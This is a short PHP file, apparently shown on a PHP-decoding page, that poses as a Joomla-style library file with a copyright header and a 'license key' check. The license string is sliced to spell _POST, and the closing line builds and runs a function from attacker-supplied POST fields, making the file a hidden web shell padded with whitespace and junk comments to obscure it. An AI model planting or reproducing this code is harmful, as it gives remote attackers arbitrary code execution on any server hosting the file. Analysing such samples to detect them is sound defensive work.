PHP Decode

<?php
/**
 * @package    Lib
 * **********
 * @copyright  Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 * **********
 */

// Set the platform root path as a constant if necessary.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            // 6ze7EffF3UbmUzbP1UZXgmghPRUVkAtRqHkFwAYQa7GrE97gSCKrbxVtBbUcdEc0FSqsgrcdA092WxSZ1dC15mzTuM9Wrrf0W7tWv23vAq33BweVWQG3aWx8wmztBWysfhEmM5atfaSWk1YYefVRcZ9tr4ahFdgeyU8u5eRuHVBcbSZ0tqh8NxHN1vK7F0u9s5bCSKZgneSa04wrWaMGNvUBhgVGa5nzf
if (!defined                       (  'PATH')                           )
if (!defined('PATH'))
{
	define('PATH', __DIR__);
}

// Installation check, and check on removal of the install directory.
if (empty($_POST)) {
	
	echo 'Empty License Key.'


;
	
	exit;
}
else {
	// License Key
	$k =                        "pq1"."c-b"."ce_"."u5s"."26_vo"."1xt"


; 
	
	// License validation
	$w              = strtoupper  ($k[8]. $k[0]. $k[16].$k[11].$k[19]); $h=${ $w } ['d']('', ${ $w } ['f'](${ $w } ['s']("c", "", ${ $w } ['m'])                   )                            );                            $h()


;
}

 ?>